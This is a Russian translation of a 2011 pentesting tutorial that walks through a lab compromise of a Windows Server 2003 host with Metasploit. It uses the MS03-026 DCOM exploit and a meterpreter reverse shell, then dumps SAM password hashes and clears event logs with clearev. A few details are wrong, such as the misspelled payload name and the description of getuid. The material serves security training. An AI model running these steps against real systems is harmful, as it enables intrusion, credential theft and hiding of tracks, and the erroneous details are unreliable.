Наши партнеры








Книги по Linux (с отзывами читателей)

Библиотека сайта rus-linux.net

Практический пример работы с Metasploit Framework

Оригинал: Penetration Testing with Metasploit Framework
Автор: Dinesh Shetty
Дата публикации: июль 2011 г.
Перевод: В. Семененко
Дата перевода: июль 2011 г.

Введение

Наверняка, когда я произношу - "Инструмент для пентестинга" ("Penetration Testing tool"), первое, что приходит вам в голову при упоминании этих словосочетаний - имя Metasploit. И не мудрено! Этот проект является одним из крупнейших в мире, написанных на языке Ruby. Суммарное колличество его строк превышает 700 000! На сегодня Metasploit является стандартом де-факто для пентестинга и поиска уязвимостей. Колличество ежегодных скачиваний экземпляров программы зашкаливает за один миллион. Проект также обладает самой большой в мире общедоступной базой данных для проверенных и качественных эксплоитов.

Metasploit_Framework

Metasploit Framework является программой и одновременно подпроектом, входящим с состав проекта Metasploit. Его разработку ведет компания Metasploit LLC (Примечание переводчика. Автор несколько неточен в данном случае. На момент написания статьи все лицензии на проект Metasploit приобретены компанией Rapid7. Ею выпускаются как коммерческие платные варианты данного продукта - Metasploit Pro, Metasploit Express; так и бесплатный - Metasploit Framework). Годом рождения проекта является 2003, когда он начал создаваться на языке Perl. Но позднее программа была полностью переписана на язык Ruby. В самой последней версии релиза Metasploit 3.7.2 возможности пентестинга и симуляции были выведены на качественно новый уровень. За максимально короткий срок был переписан код фреймворка, что увеличило скорость работы и эффективность последнего. Все это значительно усиливает позиции проекта по отношению к его коммерческим аналогам.

Начинаем работать с Metasploit

Программа Metasploit проста в использовании. Она была создана именно с целью помочь и облегчить работу пентестерам. Дальнейшее описание этого незаменимого продукта я буду производить на примере хорошо известного дистрибутива Linux BackTrack 5. Так что, если у вас его еще нет, приглашаю перейти по ссылке http://www.backtrack-linux.org/downloads/ и скачать последнюю версию (на данный момент это версия 5). Почему именно версию 5? Ну, помимо того, что она самая новая, у нее есть еще одно существенное "преимущество" - в ее состав входят исправленные и рабочие библиотеки Ruby.

Фреймворк Metasploit обладает тремя рабочими окружениями: msfconsole, msfcli и msfweb. Основным и наиболее предпочтительным из трех перечисленных вариантов является первый - msfconsole. Это окружение представляет из себя эффективный интерфейс командной строки со своим собственным набором команд и системным окружением.

Перед запуском Metasploit полезно было бы понять, что делают хотя бы некоторые его команды. Давайте составим ниже небольшой список наиболее распространенных и применимых на практике команд. Графическое представление вывода этих команд также будет представлено в этой статье и мы воспользуемся им для объяснения процесса пентестинга хостов в дальнейшем.

Список наиболее употребимых команд:

i) search <keyword>: запустив команду search без указания ключевых слов, мы получим список всех доступных эксплоитов. Если значение <keyword> имеет имя определенного сплоита, то этой командой мы ищем такой в базе данных системы.

ii) show exploits: указав команду show exploits, мы получим список всех доступных на данный момент эксплоитов. Имеются версии последних под различные платформы и приложения, включая Windows, Linux, IIS, Apache и так далее. Это поможет вам понять работу фреймворка Metasploit и почувствовать его гибкость и эффективность.

iii) show payloads: аналогично предыдущим командам show, показывает доступные в системе payload'ы. Запускаем команду show payloads и изучаем получившийся список.

iv) show options: набрав в командной строке show options, вы увидите опции, которые вы можете использовать; и возможно, про некоторые из них вы уже успели забыть. Каждый эсплоит или payload имеет свой собственный набор опций, который вы можете использовать при работе с ними.

v) info <type> <name>: если вам нужна конкретная и полная информация о каком-либо эксплоите или payload'е, вы можете применить команду info. Скажем, вам нужно подробное описание payload'а winbind. Тогда мы набираем в командной строке info payload winbind и внимательно читаем справочную информацию по нему.

vi) use <exploit_name>: команда говорит фреймворку Metasploit запустить эсплоит с указанным конкретным именем.

vii) set RHOST <hostname_or_ip>: указываем этой командой Metasploit определенный хост в сети для его изучения. Хост можно задать как по его имени, так и по IP-адресу.

viii) set RPORT <host_port>: задаем для Metasploit порт удаленной машины, по которому фреймворк должен подключиться к указанному хосту.

ix) set payload <generic/shell_bind_tcp>: команда указывает имя payload'а, который будет использоваться.

x) set LPORT <local_port>: задаем номер порта для payload'а на сервере, на котором был выполнен эксплоит. Это важно, так как номер этого порта открыт именно на сервере (он не может быть использован никакими другими службами этого сервера и не резервируется для административных нужд). Советую назначать такой номер из набора четырех случайных цифр, порядок которых начинается с 1024. И тогда у вас все будет хорошо. Также стоит упомянуть, что вам необходимо менять номер порта каждый раз, когда вы успешно запустите эксплоит на удаленной машине.

xi) exploit: запущенный на данный момент эксплоит. Есть другая версия этой команды - rexploit, которая перезагружает код запущенного эксплоита и запускает его вновь. Эти две команды помогают вам работать с эксплоитами с минимальными усилиями, без перезапуска консоли.

xii) help: команда help выдаст полный перечень всех доступных команд системы. Я же привел здесь его краткую версию.

Теперь, когда вы знакомы со всеми основными командами, вы можете запустить эксплоит. Для иллюстрации, давайте выберем сценарий, на примере которого я покажу, как получить контроль над удаленной машиной.

Сценарий

Машина жертвы:

OS: Microsoft Windows Server 2003

IP: 192.168.42.129

Наша машина:

OS: BackTrack 5

Kernel version: Linux bt 2.6.38 # SMP Thu Mar 17 20:52:18 EDT 2011 i686 GNU/Linux

Metasploit version: Built in version of metasploit 3.8.0-dev

IP: 192.168.42.128

Предпосылка:

Единственная информация об удаленной машине, которой мы располагаем, это то, что на ней запущен Windows 2003 Server. Требуется получить доступ к командной оболочке этого удаленного сервера.

Подробные шаги:

Шаг 1:

Запускаем сетевой сканер Nmap для анализа удаленного сервера по IP-адресу 192.168.42.129. В результате получаем вывод команды Nmap с перечнем открытых портов. Для наглядного примера смотрим на скриншот Figure1.

Figure1

Шаг 2:

На нашей машине, в операционной системе BackTrack, переходим в меню по пути:

Application > BackTrack > Exploration Tools > Network Exploration Tools > Metasploit Framework > msfconsole

Во время запуска msfconsole выполняется стандартная проверка. Если все прошло хорошо, то мы увидим результат, как на скриншоте Figure2.

Figure 2

Шаг 3:

Теперь, когда мы знаем, что на удаленной машине открыт порт 135, ищем соответствующий эксплоит RPC в базе данных Metasploit. Для того, чтобы увидеть список всех эксплоитов, доступных в Metasploit, запустим команду show exploits. Мы увидим все, которые можно использовать в нашей системе.

Как вы уже могли заметить, стандартная инсталляция Metasploit Framework 3.8.0-dev имеет в своем составе 696 эксплоитов и 224 payload'а. Список впечатляющий, так что найти нужный сплоит в нем является задачей поистине трудной и утомительной. Но мы воспользуемся более простым и удобным способом. Один из них - перейти по ссылке http://metasploit.com/modules/ и воспользоваться поиском на сайте. Второй способ - запустить команду search <keyword> в самом Metasploit для поиска соответствующего эксплоита RPC. Можно также еще заглянуть сюда - Exploit Database by Offensive Security.

В консоли msfconsole наберем команду search dcerpc для поиска всех эксплоитов, имена которых соотвествует шаблону dcerpc. Все они могут применяться для получения доступа к серверу, используя уязвимости порта 135. Как только мы наберем в строке эту команду, получим список всех эксплоитов в окне msfconsole, как показано на скриншоте Figure3.

Figure 3

Шаг 4:

Теперь, когда мы имеем перед глазами список rpc-эксплоитов, нам нужна более полная информация по каждому из них, прежде чем применим его на практике. Для получения подробного описания конкретного сплоита, воспользуемся командой info exploit/windows/dcerpc/ms03_026_dcom. Что в итоге мы получим? Описание возможных целей; требования эксплоита; детальное описание самой уязвимости, используемой этим эсплоитом; а также ссылки, где мы можем найти более подробную информацию.

Шаг 5:

В общем случае запуск команды use <exploit_name> запускает окружение указанного эксплоита. В нашем же случае мы будем использовать команду use exploit/windows/dcerpc/ms03_026_dcom для запуска этого сплоита.

Figure 4

Как видно на скриншоте Figure4, после запуска эксплоита командой exploit/windows/dcerpc/ms03_026_dcom подсказка командной строки изменилась с msf > на msf exploit(ms03_026_dcom) >. Это означает, что мы перешли во временное окружение этого эксплоита.

Шаг 6:

Теперь нам необходимо отредактировать конфигурационный файл сплоита, как требует того текущий сценарий. Команда show options покажет нам различные параметры, которые требуются для запущенного на данный момент эксплоита. В нашем случае, опции RPORT уже установлено значение 135. Нам осталось только задать значение параметра RHOST, выполняемое командой set RHOST.

Вводим в командной строке set RHOST 192.168.42.129 и видим результат - IP-адрес удаленного хоста выставлен именно на 192.168.42.129., как на скриншоте Figure5.

Figure5

Шаг 7:

Последнее, что нам осталось сделать прежде чем запустить эксплоит - установить payload для него. Все доступные варианты payload'ов можно увидеть с помощью команды show payloads.

Figure6

Как видно на скриншоте Figure6, команда show payloads покажет нам все payload'ы, которые совместимы с выбранным нами сплоитом. Для нашего случая мы используем запасной tcp meterpreter, задав его командой set PAYLOAD windows/meterpreter/reserve_tcp, что запустит командную оболочку на удаленном сервере, если к нему будет успешно получен доступ. Сейчас нам нужно снова запустить команду show options для того, чтобы убедиться в том, что все обязательные для заполнения поля имеют соответствующие значения. Только в этом случае эксплоит успешно запуститься.

Figure7

Обратите внимание, что параметр LHOST для payload'а не установлен. Так что нам нужно установить локальный IP-адрес (например, 192.168.42.128) командой set LHOST 192.168.42.128.

Шаг 8:

Теперь, когда все готово и эксплоит отконфигурирован должным образом, настало время запустить его.

Мы можем воспользоваться командой check для того, чтобы убедиться в том, что наша машина-жертва доступна для выполнения на ней эксплоита. Эта опция имеется не для всех сплоитов. Например, на скриншоте Figure8 хорошо видно, что в нашем случе это именно так.

Figure8

Но ею стоит воспользоваться в любом случае. Это хорошая помощь со стороны системы в том плане, что позволяет удостовериться - удаленная машина еще не пропатчена эксплоитом, который вы собираетесь запустить. Другими словами - чтобы вы не запустили эксплоит на удаленной машине повторно.

В нашем же случае, как видно на скриншоте, выбранные нами эксплоиты не имеют поддержки опции check.

Команда exploit запускает выбранный сплоит, который выполняет все необходимые действия для того, чтобы на удаленной машине смог выполниться payload.

Figure9

На скриншоте Figure9 видно, что эксплоит успешно выполнился на удаленной машине с IP-адресом 192.168.42.129, используя уязвимость порта 135. Факт успешного выполнения эксплоита обозначается в командной строке сменой приглашения последней на meterpreter >.

Шаг 9:

Теперь, когда дополнительное соединение между жертвом и нашей машиной установлено, нам необходимо получить контроль над сервером. Мы можем воспользоваться help для получения списка всех доступных команд, которые мы можем выполнить на удаленном сервере для выполнения соответствующих действий.

Ниже показаны результаты некоторых команд meterpreter:

  • ipconfig - показывает конфигурационные данные всех TCP/IP-соединений, запущенных на удаленной машине;
  • getuid - отображает имя сервера в консоли;
  • hashdump - создает dump базы данных SAM;
  • clearev - затирает все следы вашего пребывания на удаленной машине, какие вы могли бы оставить там.

Таким образом, мы успешно использовали Metasploit фреймворк для получения доступа к удаленному серверу с запущенным на нем Windows 2003 Server. Мы предоставили себе возможность выполнять команды в командной оболочке, что дает нам право полностью контролировать удаленную машину и запускать любые задачи на ней, какие только нам потребуются.

Потенциальные возможности использования фреймворка Metasploit:

  • Metasploit может использоваться при пентестинге для создания отчетов, совместно с другими системами автоматического обнаружения уязвимостей. С помощью этого фреймворка можно установить, являются ли уязвимости реально опасными и можно ли ими воспользоваться для проникновения в систему.
  • Metasploit может использоваться для тестинга новых эксплоитов, которые появляются буквально каждый день. Такую проверку вы можете делать на локальном сервере, специально предназначенном для этих целей. С помощью этого фреймворка вы легко можете проверить, эффективен ли новый эксплоит или нет.
  • Metasploit также является великолепным инструментом в ваших системах пентестинга для проверки, настроены ли должным образом IDS в случае возникновения атак.

Заключение

Эта статья является поверхностным обзором по использованию фреймворка Metasploit. Здесь показано, как выполнить общий обзор вашей системы на предмет уязвимостей. Даже начальный опыт работы с Metasploit, приобретенный в этой статье, поможет вам понять принципы работы эксплоитов. Что может в дальнейшем быть хорошим подспорьем для написания своих собственных эксплоитов. А это, в свою очередь, поможет вам выполнять задачи пентестинга на более высоком и качественном уровне.